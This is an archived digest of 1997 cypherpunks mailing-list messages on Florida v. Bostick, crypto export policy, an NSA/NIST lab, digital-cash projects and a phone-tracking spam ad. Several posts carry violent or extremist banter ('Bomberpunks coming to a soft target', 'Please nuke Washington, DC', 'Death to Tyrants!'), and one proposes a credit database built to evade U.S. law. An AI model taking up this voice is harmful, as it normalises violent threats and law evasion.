Message-ID: <3.0.2.32.19970902001252.006e3cd8@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:38 PM 9/1/97 -0700, Tim May wrote:
>This was an actual case, heard by the Supreme Court several years back. Bus
>passengers were given the opportunity to volunteer, as noted. Failure to
>volunteer was construed as probable cause that contraband was present.
>
>(No, I don't know the name of the case. My recollection is that it took
>place in Florida or one of the Carolinas. Nor do I recollect how the
>Supremes decided the case...

This sounds like _Florida v. Bostick_, 501 U.S. 429 (1991), on the web at 
<http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=501&invol
=429>.

Bill Stewart's summary of the case looked like a good one to me. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 15:49:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: You really do want to volunteer, don't you?
In-Reply-To: <Pine.SOL.3.96.970901233826.9189A-100000@rigel.cyberpass.ne t>
Message-ID: <v0310280bb031723c53ed@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:12 AM -0700 9/2/97, Greg Broiles wrote:
>At 11:38 PM 9/1/97 -0700, Tim May wrote:
>>This was an actual case, heard by the Supreme Court several years back. Bus
>>passengers were given the opportunity to volunteer, as noted. Failure to
>>volunteer was construed as probable cause that contraband was present.
>>
>>(No, I don't know the name of the case. My recollection is that it took
>>place in Florida or one of the Carolinas. Nor do I recollect how the
>>Supremes decided the case...
>
>This sounds like _Florida v. Bostick_, 501 U.S. 429 (1991), on the web at
><http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=501&invol
>=429>.
>
>Bill Stewart's summary of the case looked like a good one to me.

Thanks, I guess, to all of you who sent further information on this case.

I'm chagrinned at this repetitive pattern, though: all it takes is a "I
don't remember" for a thread to be completely dominated by helpful
comments, clarifications, etc.

(Ditto for any question even remotely impinging on financial or tax advice,
which is why I almost always include requests that helpful tax advice not
be sent to me. I can't seem to mention tax issues without a bunch of
helpful souls sending me their ideas on how to beat taxes by incorporating
myself in Andorra and then hiring myself as a consultant to the Andorran
embassy in California, or whatever.)

One strategy I've considered is to never, never, ever admit that I don't
know something, as this will forestall the corrections, expansions,
clarifications, and citings.

Or to express things more elliptically. It pays to be Young.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 2 Sep 1997 15:58:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: You really do want to volunteer, don't you?
In-Reply-To: <v03102809b0314ac20d7e@[207.167.93.63]>
Message-ID: <Chameleon.873181717.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



> Item: "You may volunteer to let the nice officers boarding this bus search
> your bags without any kind of search warrant or probable cause. Most of you
> will readily volunteer, as you "have nothing to hide." However, failure to
> volunteer will then mark you as a probable hider of something, and the
> police officers will then have "probable cause" to search your bags. Have a
> nice day."
> 
> This was an actual case, heard by the Supreme Court several years back. Bus
> passengers were given the opportunity to volunteer, as noted. Failure to
> volunteer was construed as probable cause that contraband was present.
> 
> (No, I don't know the name of the case. My recollection is that it took
> place in Florida or one of the Carolinas. Nor do I recollect how the
> Supremes decided the case....I can hope they ruled it a clear violation of
> the Fourth. But I don't remember. Regardless of the outcome, for now, it
> shows the Orwellian concept of "mandatory voluntary" at work.)

---------------End of Original Message-----------------
>From 
http://www.findlaw.com/scripts/getcase.pl?navby=search&court=US&case=/data/us/501/429.
html



FLORIDA v. BOSTICK 
CERTIORARI TO THE SUPREME COURT OF FLORIDA 

No. 89-1717

Argued February 26, 1991 
Decided June 20, 1991

As part of a drug interdiction effort, Broward County Sheriff's
Department officers routinely board buses at scheduled stops and ask
passengers for permission to search their luggage. Two officers
boarded respondent Bostick's bus and, without articulable suspicion,
questioned him and requested his consent to search his luggage for
drugs, advising him of his right to refuse. He gave his permission,
and the officers, after finding cocaine, arrested Bostick on drug
trafficking charges. His motion to suppress the cocaine on the ground
that it had been seized in violation of the Fourth Amendment was
denied by the trial court. The Florida Court of Appeal affirmed, but
certified a question to the State Supreme Court. That court,
reasoning that a reasonable passenger would not have felt free to
leave the bus to avoid questioning by the police, adopted a per se
rule that the sheriff's practice of "working the buses" is
unconstitutional.

Held:

    1. The Florida Supreme Court erred in adopting a per se rule that
every encounter on a bus is a seizure. The appropriate test is
whether, taking into account all of the circumstances surrounding the
encounter, a reasonable passenger would feel free to decline the
officers' requests or otherwise terminate the encounter.  Pp.
433-437.

(a) A consensual encounter does not trigger Fourth Amendment
scrutiny. See Terry v. Ohio, 392 U.S. 1, 19, n. 16. Even when
officers have no basis for suspecting a particular individual, they
may generally ask the individual questions, Florida v. Rodriguez, 469
U.S. 1, 5-6, ask to examine identification, INS v. Delgdo, 466 U.S.
210, 216, and request consent to search luggage, Florida v.  Royer,
460 U.S. 491, 501, provided they do not convey a message that
compliance with their requests is required. Thus, there is no doubt
that, if this same encounter had taken place before Bostick boarded
the bus or in the bus terminal, it would not be a seizure. Pp.
434-435.

(b) That this encounter took place on a bus is but one relevant
factor in determining whether or not it was of a coercive nature. The
state court erred in focusing on the "free to leave" language of
Michigan v.  Chesternut, 486 U.S. 567, 573, rather than on the
principle that those words were intended to capture. This inquiry is
not an accurate measure of an encounter's coercive effect when a
person is seated on a bus about to depart, has no desire to leave,
and would not feel free to leave [501 U.S. 429, 430] even if there
were no police present. The more appropriate inquiry is whether a
reasonable passenger would feel free to decline the officers' request
or otherwise terminate the encounter. Thus, this case is analytically
indistinguishable from INS v. Delgado, supra. There, no seizure
occurred when INS agents visited factories at random, stationing some
agents at exits while others questioned workers, because, even though
workers were not free to leave without being questioned, the agents'
conduct gave them no reason to believe that they would be detained if
they answered truthfully or refused to answer. Such a refusal, alone,
does not furnish the minimal level of objective justification needed
for detention or seizure. Id., at 216-217. Pp. 435-437.

2. This case is remanded for the Florida courts to evaluate the
seizure question under the correct legal standard. The trial court
made no express findings of fact, and the State Supreme Court rested
its decision on a single fact - that the encounter took place on a
bus - rather than on the totality of the circumstances.  Rejected,
however, is Bostick's argument that he must have been seized because
no reasonable person would freely consent to a search of luggage
containing drugs, since the "reasonable person" test presumes an
innocent person. Pp. 437-440.

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/02/97
Time: 02:24:20
Visit me at http://www.pobox.com/~amp

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------
"The Legislature interprets the Constitution as damage, and routes around it."

For the benefit of Spambots everywhere:
webmaster@localhost
abuse@localhost
postmaster@localhost





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 2 Sep 1997 12:11:48 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Diana: is tcmay cp's official rep?
Message-ID: <199709020359.VAA17702@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    Diana: is tcmay cp's official rep?

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNAuM1r04kQrCC2kFAQFIFQP9E8PiFhEHOnRS6YJMBcJsrznMlEr2wZR/
F4fe3hDCxr0cSF4sHIfg96fIxmXrHHR6rjotz/zxEXmkuQdVlpOQ1Lj7HU0o793G
EdBCkEQ5Jo50Evv1hC0LKJzPdU09rSKhBfEwDysuLb2UgVkY2Ln4OELjsW5Pq19Y
f5KitV/Fb+c=
=eZBb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 2 Sep 1997 12:11:21 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: "French kiss NSA/BXA"
In-Reply-To: <1.5.4.32.19970901185733.0083cff4@pop.pipeline.com>
Message-ID: <199709020359.VAA17707@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970901:1457 
    John Young <jya@pipeline.com> expostulated:

 [snip]

+It looks as though the fall crypto campaign is about to open with a
+rush, worldwide. Stories being fed to journalists, draft regs being
+dealt to collaborators, license approvals for sure bettors. Up-yours to
+all the rest who don't want to, in smooth-tongue Stewart Baker's
+phrase,  "French kiss NSA/BXA."

    French kiss?  kiss my what?  sorry, folks, they will not even get
    my key when they pry my still smokin' weapon from my cooling hand.

  "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNAuNZL04kQrCC2kFAQGhYAQAi4mGdFzKwTUuvXYldrIUOaJpsPDlEDN2
+OWTtSUnrTRq58b94oAt6fh0o18i9x/B9Wrvz8WyiTVuGzySNJrL+sEe0ZG1NgAJ
hDJ056ngtIPO2iBDALamy+d8/t8ZKMm7RxhhY6jT76gjHsFGpkMD707S6GSoSxHM
TYhlXE/5XWM=
=GRkC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Tue, 2 Sep 1997 12:49:52 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <lyMbRlyH+uqUZOuKTpPYAw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:
> >Tim May <tcmay@got.net> wrote:

> It may be somewhat self-serving but in light of the past few hundred years
> history, few (except Italians) would see the founding of Rome as
> significant as the invention of democracy.

History is relative. I see neither or the these as being of as great a
significance as the first time I got laid.
 
> >or so, the death of that Jesus guy
> >was a minor event (the real event was the rise of the Church, in Rome,
> >during the next few centuries,
> 
> I think you'd get some major disagreements with that one.

No. No one disagrees with that one.
 
> Many historians do not see Constantine's empire as truly the continuation
> of the Roman Empire per se, but that of the church (an event which as you
> point out began with Jesus).

  The church began with the invention of money. The papacy began with
the
invention of bingo. The reformation was begun by sore losers who never
won
anything at bingo. Jewry began with a jeweller who had agraphia. (1)
(1) "I Know About All That Old Shit" by the History Guy

HistoryMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 2 Sep 1997 12:38:03 +0800
To: cypherpunks@toad.com
Subject: Re: Hey
Message-ID: <199709020420.GAA27612@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



bennett_t1@popmail.firn.edu wrote:
> 
> ::
> Encrypted: PGP
> 
> -----BEGIN PGP MESSAGE-----
> Version: PGP for Personal Privacy 5.0
> MessageID: yV9u2hakLFv9/SGjemJH0AuGYsBQ1cOE
> 
> hQCMA/HAD1cfk+qpAQQAwuEDcaGfi1QCu84QklmpWe0AtyQUKGvkIuT8cEXt/ePS
> G1QAGQBHNRPvsN92ORDxPY5K+JgeS4b8ZpRJ+C9pSFwtzJXyoSaPSWLVLe//GU4y
> H+yeO8kMmK2qbbthgDD1D/00sXbrQsqEbIyz2al/bRIFzalS8UHQg4Olg7hTjpGl
> AY608e0OyKO78dPdEGeRYH5PwW6BLgppULjR17+Puo0ukIqwcItJlYPx7K2AgNtA
> 9sDlymr5h+cMky+BbrFWoi8QZEBrHvhXckXuPWHDlrmxTzd362m2R9G3/4TLlMjK
> j6q2TD5DA0CT/g1ETK3J0y+7cFfuGp6oP2PhP27VCBW6maIp1Z35K3yNy7vytrTE
> qDuJtcF2lvDAYKBcKr0lk6fBuGfRRZge3ZlAOgo/t5KPSGou/KlkHb2eR20vWqUM
> Z2xcTkn5Y+ZJsPb/k9sOe8vKGK38IGYZdv2nj3k7MQvCIIuwAc37XIiC53mWAP8V
> mIISGuYa2DgcxkdEy/rW0vd3AbhRzNGHp4u4zpjK/r2kTDGYGBURZFv2dC24KmcT
> sgGYqYhYFY2/xmwiQgNKaRlMgrhRJZ8ytLxSCQts1pZhbImf2BFFBNshSIPUiZIn
> 4fEPvD0lgJjC7jkkwAjEfN3E8DSCORs7GzKY1/Psr5ZZkEKVezv2blL+5YjYff+H
> vfqgXkeGKOgXNUT1lNZZWA==
> =wuTx
> -----END PGP MESSAGE-----

I find this highly unlikely. If you check the archives, you will find 
that this has been discussed previously on the list, and has been
discounted by anyone with a modicum of reason.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 2 Sep 1997 20:03:15 +0800
To: cypherpunks@toad.com
Subject: NSA/NIST Security Lab
Message-ID: <1.5.4.32.19970902114357.0075f674@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NSA and NIST will set up a new lab for evaluation of 
information-security products, including crypto algorithms:

   http://jya.com/nsa-nist.txt

The lab will coordinate with other nations. Plans include
eventual shifting the evaluation to private testing labs
once accreditation standards are set.

With critiques by Bruce Schneier and Steve Walker,
and a slap from NCSA, which now provides testing,
"They've been talking about this stuff for years."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 2 Sep 1997 21:02:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: You really do want to volunteer, don't you?
In-Reply-To: <v03102808b0314226079c@[207.167.93.63]>
Message-ID: <v031107b0b031ba1e0d45@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:42 am -0400 on 9/2/97, Tim May wrote:



> Chaumian, identity-protecting technologies need to be deployed.
>
> Frankly, I think Cypherpunks are getting off track with all the recent
> focus on "old" technologies (which I'll leave unspecified, as my point is
> not to attack certain pet projects).
>
> The real stuff is going undone.

So, Tim, what should we all be working on, in particular?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 00:04:29 +0800
To: cypherpunks@Algebra.COM
Subject: Things we should be working on...
In-Reply-To: <v03102808b0314226079c@[207.167.93.63]>
Message-ID: <v0310280cb031dea9cd30@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:43 AM -0700 9/2/97, Robert Hettinga wrote:
>At 12:42 am -0400 on 9/2/97, Tim May wrote:
>
>
>
>> Chaumian, identity-protecting technologies need to be deployed.
>>
>> Frankly, I think Cypherpunks are getting off track with all the recent
>> focus on "old" technologies (which I'll leave unspecified, as my point is
>> not to attack certain pet projects).
>>
>> The real stuff is going undone.
>
>So, Tim, what should we all be working on, in particular?

OK, you asked. This isn't a comprehensive list.

1. Fully secure machine to machine connections for the Net, as in Gilmore's
"SWAN" project. This makes the Net unsnoopable by the NSA and other TLAs,
and makes encryption an automatic (at this level...individual users will of
course still encrypt on top of this, as relying on others is never enough).

2. A usable form of Chaum's cash, a la Goldberg's or Schear's or Back's or
whomever's implementation. An evolution of Magic Money, Hashcash, etc.,
using full strength algorithms. Backing can be decentralized. Less emphasis
on deals with banks, more emphasis on guerilla deployment, a la PGP.

(Initial uses may be for illegal things, which may be a good thing for
deployment. Sex, for example, historically drives technologies like this.
Thus, one might imagine combining blinded (no puns, please) cash with
message pools to allow users to anonymously purchase JPEG images and have
the resultant images placed in a pool for their later browsing. If done on
a per image basis, for small amounts of digital cash, this could help users
get their feet wet and gain familiarity. Integration into browsers would
help.)

3. Distributed, decentralized data bases, a la Eternity, Blacknet, etc. My
number one candidate: a commercial credit rating data base not bound by the
U.S.' "Fair Credit Reporting Act." Let lenders and landlords find out the
dirt on those who welshed on loans or who skipped out on leases, regardless
of what the FCRA says. (This could technically be located today in any
non-U.S. country, practically, but access by U.S. persons and corporations
would have to be done circumspectly. A good use for blinded cash, of the
_fully_ untraceable sort, e.g. payer- and payee-anonymous sort.)

Ditto for ratings of doctors and lawyers. Some states in the U.S. are doing
this, but under their strict state control. Why not laissez faire
approaches, with user-inputted information? (I've written about this
extensively. Cf. my Cyphernomicon, for example.)

4. Wider use of persisistent pseudonyms. Most of the "anonymous" posts we
see are signed in cleartext with names like "TruthMonger," "BombMonger,"
etc., with little use of PGP sigs to ensure persistence. Spoofing is
trivial. Checking sigs is up to the *end reader*, for example, to see that
"Pr0duct Cipher" really is the same nym that's in the past posted as
Pr0duct Cipher, but it might be useful for us to start really making more
use of this sig checking, and even to maintain our own data base of nyms
and their public keys, as a kind of demonstration testbed.

5. And so on. Cf. the archives, etc. for many, many things.

What I meant be "the wrong stuff" is the recent focus on breaking simple
ciphers that were known to be breakable 20 years ago...just a matter of
applying the computons in the right way. All credit to Goldberg and all,
but hardly accomplishing  very interesting goals (helps Ian get a good job,
that's certainly true). Maybe it'll cause slightly stronger crypto to be
allowed for export...I don't really care too much about that.

In fact, the whole focus on _exports_ and doing things to make exports
easier is a _detour_, even a _derailment_. As I've said, I'll start
worrying about Netscape getting a license when they start paying me. Until
then, foreigners should just bypass what Netscape provides and use drop-ins.

(In fact, monkeywrenching the status quo is better than helping Netscape
and Microsoft get stronger crypto. For lots of obvious reasons.)

My list above is not meant to be a "Strategic Plan." But clearly the
Cypherpunks list has been slowly devolving into a gossip list, and a
dumping ground for anonymous insults, drunken rambles, and a cheerleading
group for predictable accomplishments and for corporate plans. (In
particular, a large fraction of the Bay Area contingent now work(s) for
various companies in crypto capacitites, even for crypto-focussed
companies, and their edge, or at least their public utterance edge, has
been dulled. One can speculate on some reasons. Too much talk about how to
"help" PGP, Inc., for example, when PGP, Inc. is doing fairly ordinary
crypto things and is in fact participating at some level in GAK talks. (I
may get a nastygram from Phil on this, courtesy of helpful forwarders of my
words to him...it's what I think.)


Also, 95% of the crap about "digital commerce" is merely a distraction. The
wrong direction, the wrong technology. Just "Visa on the Net," and hence of
no real use for our sorts of goals. Worse, the wrong direction.

I could rant on, but will spare you all.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 2 Sep 1997 22:39:24 +0800
To: Tim May <tcmay@got.net>
Subject: Re: You really do want to volunteer, don't you?
In-Reply-To: <v03102808b0314226079c@[207.167.93.63]>
Message-ID: <199709021436.JAA08076@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <v03102808b0314226079c@[207.167.93.63]>, on 09/01/97 
   at 09:42 PM, Tim May <tcmay@got.net> said:

>The real stuff is going undone.

I must object to this.

We at bomberpunks (TM) are getting the real work done. New and intresting
technologies are currently being developed. Also further improvements in
command and control, communications, stragic and tactical planning along
with an increase of "in the field" training with numerious "freedom
fighters" worldwide.

Bomberpunks coming to a "soft target" near you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 3 Sep 1997 01:13:55 +0800
To: cypherpunks@toad.com
Subject: Beware free 'gifts'
Message-ID: <199709021654.JAA22559@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain





Spammed to Usenet news:

>Subject: Check Em Out
>Date: 1 Sep 1997 01:43:23 GMT
>Organization: MediaOne SouthEast
>Lines: 36
>NNTP-Posting-Host: surf219.pompano.net
>Mime-Version: 1.0
>Content-Type: Text/Plain; charset=US-ASCII
>X-Newsreader: WinVN 0.99.9 (Released Version) (x86 32bit)
>
>
>          Discreet Research
>    
>       http://www.dresearch.com
>
> Background Checks, People Finder, Driving & Criminal Records & more!
> * NOW WITH A RESELLER PROGRAM!
>
> Lost a friend or loved one? we can find em'! fast and cheap!
>
> Want to check out your mate ?  we can!  everything from  there 
> driving record, bank account!, license tag trace (all legal!)
>
> 
> New Product :  PHONE TRAPCARD
>
> Here's how this exciting new service works.  You request who you
> want a phonecard sent to.  Discreet Research then sends your subject
> a disguised gift packaged phonecard charged with 60 minutes of 
> calling time.  Your subject will then use the card to make phone calls.
>
> Discreet Research will then notify you by fax, e-mail, or by phone with
> a daily log that tells you the phone numbers your subject called,
> &  the phone numbers the calls were placed from. The trapline can trace
> any type of phoneline even payphones!  The phonecard is valid for 3 
> months.
>
>We also offer a reseller program if you would like to get into the biz!
>
>
> http://www.dresearch.com
> e-mail : research@mediaone.net
>

I wonder how long this company would last if say James Kallstrom
was 'tracked' using their 'trapcard'....

-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Sep 1997 01:34:21 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Crypto Bill HR 3011
In-Reply-To: <1.5.4.32.19970902155902.0083feb0@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970902100233.29963A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 2 Sep 1997, John Young wrote:

> MSNBC reports today that one of the bills coming up
> in the congressional session is "H.R. 3011, an encryption
> bill which favors stripping all export restrictions and 
> opposes any key escrow requirements."
> 
> We've not been able to find this bill in the usual gov sites. 
> Assuming that MSNBC got the info right, pointers to the bill
> would be appreciated.

Yet another example of MSNBC's fine reporting. H.R. 3011 is the bill
number for last year's SAFE bill (which was an improvement over this
year's, BTW):

  ftp://ftp.loc.gov/pub/thomas/c104/h3011.ih.txt

This year's SAFE bill is H.R. 695.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vijo Cherian <vijo@vikram.svrec.ernet.in>
Date: Tue, 2 Sep 1997 14:31:58 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: snuffle.c (was Re: Reuter on Bernstein Ruling)
In-Reply-To: <199708262215.XAA01021@server.test.net>
Message-ID: <Pine.LNX.3.93.970902104252.18370A-100000@vikram.svrec.ernet.in>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 26 Aug 1997, Adam Back wrote:

You ->>
You ->>snuffle and unsnuffle are only 64 lines each... so here they are.  You
You ->>need snefru also (snuffle for those not following is a construction to
You ->>convert a hash function into an encryption function ... Bernstein's
You ->>example is set up to use snefru ... a hash function).
        How can I get snefru and the detailed snuffle algorithm?
I am not from USA(I am from India)....I also wanted the perl
implementations of the algos.....
  I heard that C implementation of DES is also available for public use...
I donot want to break any law...and i donot know what exactly  the US
say about encryption and related stuff...
TIA
bye,
vijo

***********                                        
           _/        _/                      Vijo Cherian
            _/      _/                Final year undergraduate student,       
             _/    _/   _/   _/      /__/_/     Computer Engineering,
              _/  _/    _/   _/    /       |/   SVREC,Surat
                _/      _/   _/    |       |/   India
                             _/    |       |/
 vijo@svrec.ernet.in    _/   -/     \____ /
 vijo@acm.org           -/_/_/    ***************************************    
                        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 02:00:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NSA/NIST Security Lab
In-Reply-To: <1.5.4.32.19970902114357.0075f674@pop.pipeline.com>
Message-ID: <v0310280db03200b3cc75@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:12 AM -0700 9/2/97, Ray Arachelian wrote:

>Uh huh, yeah, we'll be getting the NSA to review security...  Joy.  I can
>see it now.  "Single DES is very safe.  40 bit keys are more than
>enough..."  Even with Bruce on this, it doesn't warm my trust to them...

Now, Ray, you're being too harsh. When NSA/NIST sought the analysis of
Clipper/Tessera several years ago, the distinguished panel met for a
weekend in a D.C. area hotel and concluded...drum roll...that
Clipper/Tessera was secure.

Of course, Matt Blaze broke the Tessera version a few months later....

NSA has long had a dual mission. SIGINT and COMINT to break enemy messages,
and COMSEC to help ensure national security through strong crypto. Code
breakers and code makers.

For government uses, this has worked pretty well, most of us would agree.
ICBM launch codes are apparently secure, submarines can communicate
securely, etc. (Please don't chime in with anecdotes about Walker.)

Some believe they have a role in helping industry to secure its
communications. I don't agree. The NSA has no business getting involved in
business. Period.

NIST (formerly NBS, of course) may have a role, but I doubt even this.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arturo Grapa Ysunza <agrapa@banamex.com>
Date: Wed, 3 Sep 1997 00:50:04 +0800
To: "'cypherpunks@toad.com>
Subject: RE: Information
Message-ID: <c=MX%a=_%p=BANACCI%l=MEX3976BCAOP-970902163606Z-18977@mex3980jarop1.BANAMEX.COM>
MIME-Version: 1.0
Content-Type: text/plain




>
>
>>Dave K-P <k.p@snet.net> writes:
>>
>>>> > > > Information, please!
>>>> > > Dont go swimming on a full stomach.
>>>> > Don't "escrow" your keys.
>>>> Don't take advice from strangers.
>>>Don't ask, don't tell.
>>Don't eat yellow snow.
>Don´t spit, just swallow.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Sep 1997 01:34:20 +0800
To: cypherpunks@toad.com
Subject: Re: You really do want to volunteer, don't you?
In-Reply-To: <199709021436.JAA08076@mailhub.amaranth.com>
Message-ID: <Vwuece2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <v03102808b0314226079c@[207.167.93.63]>, on 09/01/97 
>    at 09:42 PM, Tim May <tcmay@got.net> said:
> 
> >The real stuff is going undone.
> 
> I must object to this.
> 
> We at bomberpunks (TM) are getting the real work done. New and intresting
> technologies are currently being developed. Also further improvements in
> command and control, communications, stragic and tactical planning along
> with an increase of "in the field" training with numerious "freedom
> fighters" worldwide.
> 
> Bomberpunks coming to a "soft target" near you.

Cool.

Please nuke Washington, DC.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 3 Sep 1997 00:26:34 +0800
To: cypherpunks@toad.com
Subject: Crypto Bill HR 3011
Message-ID: <1.5.4.32.19970902155902.0083feb0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



MSNBC reports today that one of the bills coming up
in the congressional session is "H.R. 3011, an encryption
bill which favors stripping all export restrictions and 
opposes any key escrow requirements."

We've not been able to find this bill in the usual gov sites. 
Assuming that MSNBC got the info right, pointers to the bill
would be appreciated.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 03:55:19 +0800
To: cypherpunks@Algebra.COM
Subject: New Candidates for Vengeance
Message-ID: <v0310280fb0321bc92962@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Lest people think it is only government stooges who burst into rooms and
spray the occupants with bullets, here's a story about bounty hunters doing
the same thing. Not the first time, either.

Bounty hunters usually work for bail bondsmen, seeking to produce their
witnesses. What has surprised me, in some reports I've seen recently on how
they work and what their legal authority to enter homes is, is that they
are apparently free to enter hotel rooms and private homes at will. One
legal expert opined that a homeowner who shoots at them upon their entry is
committing a crime, as they are not legally a threat. (Of course, how does
a homeowner know this?)

Here's an excerpt from the story:

---

Tuesday September 2 2:50 PM EDT

Police Pursue Arizona Bounty Hunters

By David Schwartz

PHOENIX(Reuter) - An intense manhunt was under way Tuesday for two bounty
hunters who allegedly broke into the wrong
house in a commando-style raid looking for a bail-jumper and shot and
killed a young couple.

Police said two men were in custody and another was under police guard in a
hospital after the ski-masked group broke down the
front door of the house, held young children at gunpoint and exchanged fire
with the couple early Sunday.

The bounty hunters apparently were looking for a bail jumper who owed a
bond company $25,000, police said.

Killed in the shoot-out were Christopher Foote, 23, and Spring Wright, his
21-year-old girlfriend. Their bedroom was riddled
with at least 29 bullet holes.

--


